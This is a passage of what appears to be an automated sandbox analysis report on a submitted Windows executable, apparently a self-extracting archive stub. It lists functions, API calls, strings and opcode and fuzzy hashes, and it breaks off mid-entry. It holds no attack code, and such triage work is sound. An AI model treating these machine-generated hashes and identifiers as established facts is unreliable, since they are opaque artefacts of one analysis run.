                                                                        • String ID:
                                                                        • API String ID: 2092733347-0
                                                                        • Opcode ID: beb47387b7502a49537543173a9e43d741493c1ee6568a8a799e62c1f532590f
                                                                        • Instruction ID: e86a3a9efda0f9f4074f16c12536e821072ea51f12873f9c3f8e58e6b63ec7ba
                                                                        • Opcode Fuzzy Hash: beb47387b7502a49537543173a9e43d741493c1ee6568a8a799e62c1f532590f
                                                                        • Instruction Fuzzy Hash: FF31E875118345ABC700DFA9C88499BB7ECBF98754F40892AF995C3210E730D519CBA6
                                                                        Function 00302AFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetLastError.KERNEL32(?,?,00302AF1,003002FC,002FFA34), ref: 00302B08
                                                                        • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00302B16
                                                                        • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00302B2F
                                                                        • SetLastError.KERNEL32(00000000,00302AF1,003002FC,002FFA34), ref: 00302B81
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ErrorLastValue___vcrt_
                                                                        • String ID:
                                                                        • API String ID: 3852720340-0
                                                                        • Opcode ID: 16201d4639bebd793b182f64bf6ab550fb3facf019e0b1b6d6c3e4c17d8171cb
                                                                        • Instruction ID: c5028fd3b7d7aabb0b73d8246b984d332d65e8f89ed0ce93045e860d46cac02a
                                                                        • Opcode Fuzzy Hash: 16201d4639bebd793b182f64bf6ab550fb3facf019e0b1b6d6c3e4c17d8171cb
                                                                        • Instruction Fuzzy Hash: 2401D43211B7126EF6172BB47CADAA73B9DEB057B4B614739F910591E0EF524C00A344
                                                                        Function 003097E5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetLastError.KERNEL32(?,00321030,00304674,00321030,?,?,00303F73,00000050,?,00321030,00000200), ref: 003097E9
                                                                        • _free.LIBCMT ref: 0030981C
                                                                        • _free.LIBCMT ref: 00309844
                                                                        • SetLastError.KERNEL32(00000000,?,00321030,00000200), ref: 00309851
                                                                        • SetLastError.KERNEL32(00000000,?,00321030,00000200), ref: 0030985D
                                                                        • _abort.LIBCMT ref: 00309863
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ErrorLast$_free$_abort
                                                                        • String ID:
                                                                        • API String ID: 3160817290-0
                                                                        • Opcode ID: df368f612d8fdffbde9c0f06313d4db73d18f9fb9c8440876dd2d2c85f53651d
                                                                        • Instruction ID: cc9f13ce3d45eb3ed780c9322952166b6e762a45ecb0bb34ae07534880db5107
                                                                        • Opcode Fuzzy Hash: df368f612d8fdffbde9c0f06313d4db73d18f9fb9c8440876dd2d2c85f53651d
                                                                        • Instruction Fuzzy Hash: 70F0C83514370167C6533334BC3AB9B1AAD8FD6B71F268225F969AA3D3EE2188018565
                                                                        Function 002FDC3B Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • WaitForSingleObject.KERNEL32(?,0000000A), ref: 002FDC47
                                                                        • PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 002FDC61
                                                                        • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 002FDC72
                                                                        • TranslateMessage.USER32(?), ref: 002FDC7C
                                                                        • DispatchMessageW.USER32(?), ref: 002FDC86
                                                                        • WaitForSingleObject.KERNEL32(?,0000000A), ref: 002FDC91
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Message$ObjectSingleWait$DispatchPeekTranslate
                                                                        • String ID:
                                                                        • API String ID: 2148572870-0
                                                                        • Opcode ID: 063578f9e5e6259fbefb8a7f592ec5a4b93675c7c3b893d6a01d7f011c627997
                                                                        • Instruction ID: f763304195dc45296a7ae4dcc7446a87eb41c69110a3f841e69b7dd57fe047e4
                                                                        • Opcode Fuzzy Hash: 063578f9e5e6259fbefb8a7f592ec5a4b93675c7c3b893d6a01d7f011c627997
                                                                        • Instruction Fuzzy Hash: 69F03C72A01219BBCB216BA5DC4CEDFBF7DEF46791F004121B60AD6060DA749656C7A0
                                                                        Function 002FA80C Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 002FA699: GetDC.USER32(00000000), ref: 002FA69D
                                                                          • Part of subcall function 002FA699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 002FA6A8
                                                                          • Part of subcall function 002FA699: ReleaseDC.USER32(00000000,00000000), ref: 002FA6B3
                                                                        • GetObjectW.GDI32(?,00000018,?), ref: 002FA83C
                                                                          • Part of subcall function 002FAAC9: GetDC.USER32(00000000), ref: 002FAAD2
                                                                          • Part of subcall function 002FAAC9: GetObjectW.GDI32(?,00000018,?), ref: 002FAB01
                                                                          • Part of subcall function 002FAAC9: ReleaseDC.USER32(00000000,?), ref: 002FAB99
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ObjectRelease$CapsDevice
                                                                        • String ID: "/$($A/
                                                                        • API String ID: 1061551593-3456158586
                                                                        • Opcode ID: 8c3b09facee8820a710006eeb25bf27ef3a67bf7c715a7d8cf05b42201935abc
                                                                        • Instruction ID: 167914c7fde5f02f05d0289fc62ba86d439a2ad0600cbd48ae67cc17dd9b2f83
                                                                        • Opcode Fuzzy Hash: 8c3b09facee8820a710006eeb25bf27ef3a67bf7c715a7d8cf05b42201935abc
                                                                        • Instruction Fuzzy Hash: CC91FFB5208344AFD611DF25C844A6BBBF8FF89740F00492EF59AD7220CB70A946CB62
                                                                        Function 002EC0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 002F05DA: _wcslen.LIBCMT ref: 002F05E0
                                                                          • Part of subcall function 002EB92D: _wcsrchr.LIBVCRUNTIME ref: 002EB944
                                                                        • _wcslen.LIBCMT ref: 002EC197
                                                                        • _wcslen.LIBCMT ref: 002EC1DF
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcslen$_wcsrchr
                                                                        • String ID: .exe$.rar$.sfx
                                                                        • API String ID: 3513545583-31770016
                                                                        • Opcode ID: 223876aec3645ebd30e933bb1d6f548d77b6987e357d9de5393d3cd2f4cbf9d9
                                                                        • Instruction ID: 78d3748febb8206107081cebe89f361e19cb9f4d17d3bfb948e65af9e05c0e1d
                                                                        • Opcode Fuzzy Hash: 223876aec3645ebd30e933bb1d6f548d77b6987e357d9de5393d3cd2f4cbf9d9
                                                                        • Instruction Fuzzy Hash: 76416B215B03D695C736AFB6C842ABBB3A8EF04744FB0050EF989AF082E7504DA3C351
                                                                        Function 002EBB03 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • _wcslen.LIBCMT ref: 002EBB27
                                                                        • GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,002EA275,?,?,00000800,?,002EA23A,?,002E755C), ref: 002EBBC5
                                                                        • _wcslen.LIBCMT ref: 002EBC3B
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcslen$CurrentDirectory
                                                                        • String ID: UNC$\\?\
                                                                        • API String ID: 3341907918-253988292
                                                                        • Opcode ID: b0f80eae8f5d074a7e64f338be9e5352ac6d7e162cb13408b1530482353afdce
                                                                        • Instruction ID: 665ce0b0439138b1c59596b1b85fb746f5b0bf46de02097448884420cf17ea81
                                                                        • Opcode Fuzzy Hash: b0f80eae8f5d074a7e64f338be9e5352ac6d7e162cb13408b1530482353afdce
                                                                        • Instruction Fuzzy Hash: 6141EA314A419A6ACF23AF61CC41EEB777CAF44384F904027F954A3151DBB0E9B0CE50
                                                                        Function 002FCD58 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • _wcschr.LIBVCRUNTIME ref: 002FCD84
                                                                          • Part of subcall function 002FAF98: _wcschr.LIBVCRUNTIME ref: 002FB033
                                                                          • Part of subcall function 002F1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,002EC116,00000000,.exe,?,?,00000800,?,?,?,002F8E3C), ref: 002F1FD1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcschr$CompareString
                                                                        • String ID: <$HIDE$MAX$MIN
                                                                        • API String ID: 69343711-3358265660
                                                                        • Opcode ID: e92816319a7cba26755279b5acdf12cd9b2ad60601d857a3e324c1ea5c433c6f
                                                                        • Instruction ID: 3f77d373a76a905a75d9e6f9d2d82c375a5a3a5ca5a02b9aaafb11d8f5111635
                                                                        • Opcode Fuzzy Hash: e92816319a7cba26755279b5acdf12cd9b2ad60601d857a3e324c1ea5c433c6f
                                                                        • Instruction Fuzzy Hash: CE31627191020E9ADB25DF50CD41AFEF3BCAB14390F5045B6E605E7180EBB09A948FA1
                                                                        Function 002FAAC9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 77COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetDC.USER32(00000000), ref: 002FAAD2
                                                                        • GetObjectW.GDI32(?,00000018,?), ref: 002FAB01
                                                                        • ReleaseDC.USER32(00000000,?), ref: 002FAB99
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ObjectRelease
                                                                        • String ID: -/$7/
                                                                        • API String ID: 1429681911-908429014
                                                                        • Opcode ID: 543ac854f3e2bbb49cdb1d240069d22261dd577ba1f1e02341a99f0842a338a2
                                                                        • Instruction ID: 20e60880e2ea821910c019251f531d8f5bb3620df5ec19d6cbdedf80f4439a1f
                                                                        • Opcode Fuzzy Hash: 543ac854f3e2bbb49cdb1d240069d22261dd577ba1f1e02341a99f0842a338a2
                                                                        • Instruction Fuzzy Hash: 1721ED76148304AFD3029F95DC48D6FBFEDFF8A355F040519FA4697130DA31AA548B62
                                                                        Function 002EB991 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • _swprintf.LIBCMT ref: 002EB9B8
                                                                          • Part of subcall function 002E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 002E40A5
                                                                        • _wcschr.LIBVCRUNTIME ref: 002EB9D6
                                                                        • _wcschr.LIBVCRUNTIME ref: 002EB9E6
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcschr$__vswprintf_c_l_swprintf
                                                                        • String ID: %c:\
                                                                        • API String ID: 525462905-3142399695
                                                                        • Opcode ID: ff63c29a636fea7167202bc2b1e82530547e4065cfe9355cf879a59496028597
                                                                        • Instruction ID: 8d729b96d4e5023766e2ece01360002d367424b4cc324c4f92322245286d9ab7
                                                                        • Opcode Fuzzy Hash: ff63c29a636fea7167202bc2b1e82530547e4065cfe9355cf879a59496028597
                                                                        • Instruction Fuzzy Hash: 9A01456316435269DA336B778C46D6BA3ACEE95370B90481AF544D6182EB20D860C3B1
                                                                        Function 002FB270 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 002E1316: GetDlgItem.USER32(00000000,00003021), ref: 002E135A
                                                                          • Part of subcall function 002E1316: SetWindowTextW.USER32(00000000,003135F4), ref: 002E1370
                                                                        • EndDialog.USER32(?,00000001), ref: 002FB2BE
                                                                        • GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 002FB2D6
                                                                        • SetDlgItemTextW.USER32(?,00000067,?), ref: 002FB304
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ItemText$DialogWindow
                                                                        • String ID: GETPASSWORD1$xz3
                                                                        • API String ID: 445417207-2888475373
                                                                        • Opcode ID: 4d8ed96986f0c923ba29a98fb3f0c540351cf1243e76f8322e01c19d4b19afc2
                                                                        • Instruction ID: 78bf888e15202665d18d0c5a562d03ebfb543a2eeaebc6787302f4d80aa0c799
                                                                        • Opcode Fuzzy Hash: 4d8ed96986f0c923ba29a98fb3f0c540351cf1243e76f8322e01c19d4b19afc2
                                                                        • Instruction Fuzzy Hash: AE11E132A60119B6DB239EB4DD49FFEB76CEB5A784F100070FB45B7080C7A0AA609761
                                                                        Function 002FB6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • LoadBitmapW.USER32(00000065), ref: 002FB6ED
                                                                        • GetObjectW.GDI32(00000000,00000018,?), ref: 002FB712
                                                                        • DeleteObject.GDI32(00000000), ref: 002FB744
                                                                        • DeleteObject.GDI32(00000000), ref: 002FB767
                                                                          • Part of subcall function 002FA6C2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,002FB73D,00000066), ref: 002FA6D5
                                                                          • Part of subcall function 002FA6C2: SizeofResource.KERNEL32(00000000,?,?,?,002FB73D,00000066), ref: 002FA6EC
                                                                          • Part of subcall function 002FA6C2: LoadResource.KERNEL32(00000000,?,?,?,002FB73D,00000066), ref: 002FA703
                                                                          • Part of subcall function 002FA6C2: LockResource.KERNEL32(00000000,?,?,?,002FB73D,00000066), ref: 002FA712
                                                                          • Part of subcall function 002FA6C2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,002FB73D,00000066), ref: 002FA72D
                                                                          • Part of subcall function 002FA6C2: GlobalLock.KERNEL32(00000000,?,?,?,?,?,002FB73D,00000066), ref: 002FA73E
                                                                          • Part of subcall function 002FA6C2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 002FA7A7
                                                                          • Part of subcall function 002FA6C2: GlobalUnlock.KERNEL32(00000000), ref: 002FA7C6
                                                                          • Part of subcall function 002FA6C2: GlobalFree.KERNEL32(00000000), ref: 002FA7CD
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: GlobalResource$Object$BitmapDeleteLoadLock$AllocCreateFindFreeFromGdipSizeofUnlock
                                                                        • String ID: ]
                                                                        • API String ID: 1428510222-3352871620
                                                                        • Opcode ID: a99f609b511c75875ef08cb6380693e6dc7677b5ea66b73b757fb66cd07c35c5
                                                                        • Instruction ID: 5ff41ab7ef3ffb657fa0200b411e8ad6ff4ec382536a2a390093a6ec5e6166b8
                                                                        • Opcode Fuzzy Hash: a99f609b511c75875ef08cb6380693e6dc7677b5ea66b73b757fb66cd07c35c5
                                                                        • Instruction Fuzzy Hash: 0601047691011AA7C7137B748C09A7FFABD9FC1BD2F140131FA04A7291DF618D254A61
                                                                        Function 002FD600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 002E1316: GetDlgItem.USER32(00000000,00003021), ref: 002E135A
                                                                          • Part of subcall function 002E1316: SetWindowTextW.USER32(00000000,003135F4), ref: 002E1370
                                                                        • EndDialog.USER32(?,00000001), ref: 002FD64B
                                                                        • GetDlgItemTextW.USER32(?,00000068,00000800), ref: 002FD661
                                                                        • SetDlgItemTextW.USER32(?,00000066,?), ref: 002FD675
                                                                        • SetDlgItemTextW.USER32(?,00000068), ref: 002FD684
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ItemText$DialogWindow
                                                                        • String ID: RENAMEDLG
                                                                        • API String ID: 445417207-3299779563
                                                                        • Opcode ID: e4537894fe75fb8bc921b10962bb9750379632b084cee6e33cfe6c48ac15d9f1
                                                                        • Instruction ID: 15fc78187589e4d79f5d020ecd0291ac651532585a333286dbcca62f0bcf5347
                                                                        • Opcode Fuzzy Hash: e4537894fe75fb8bc921b10962bb9750379632b084cee6e33cfe6c48ac15d9f1
                                                                        • Instruction Fuzzy Hash: 56016D332E4208BAD2125F64AD09FB7B75EEB5B741F100120F301E60D4C6A1A9248B35
                                                                        Function 00307E73 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00307E24,00000000,?,00307DC4,00000000,0031C300,0000000C,00307F1B,00000000,00000002), ref: 00307E93
                                                                        • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00307EA6
                                                                        • FreeLibrary.KERNEL32(00000000,?,?,?,00307E24,00000000,?,00307DC4,00000000,0031C300,0000000C,00307F1B,00000000,00000002), ref: 00307EC9
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AddressFreeHandleLibraryModuleProc
                                                                        • String ID: CorExitProcess$mscoree.dll
                                                                        • API String ID: 4061214504-1276376045
                                                                        • Opcode ID: 817bc776bbf6feb4cfe50b27506a32cae3078a6bf8aab8a747aed178b81f79be
                                                                        • Instruction ID: e6cab1ffd6b4fb656527460e1e82e9cfd8644faf11c66b4951ef1e20073e967c
                                                                        • Opcode Fuzzy Hash: 817bc776bbf6feb4cfe50b27506a32cae3078a6bf8aab8a747aed178b81f79be
                                                                        • Instruction Fuzzy Hash: BCF06831A01208BBDB179FA1DC19BDEBFB9EF4C715F0180A9F805A2190DB759E41CB90
                                                                        Function 002EF2C5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON
                                                                        Download Yara Rule
                                                                        APIs
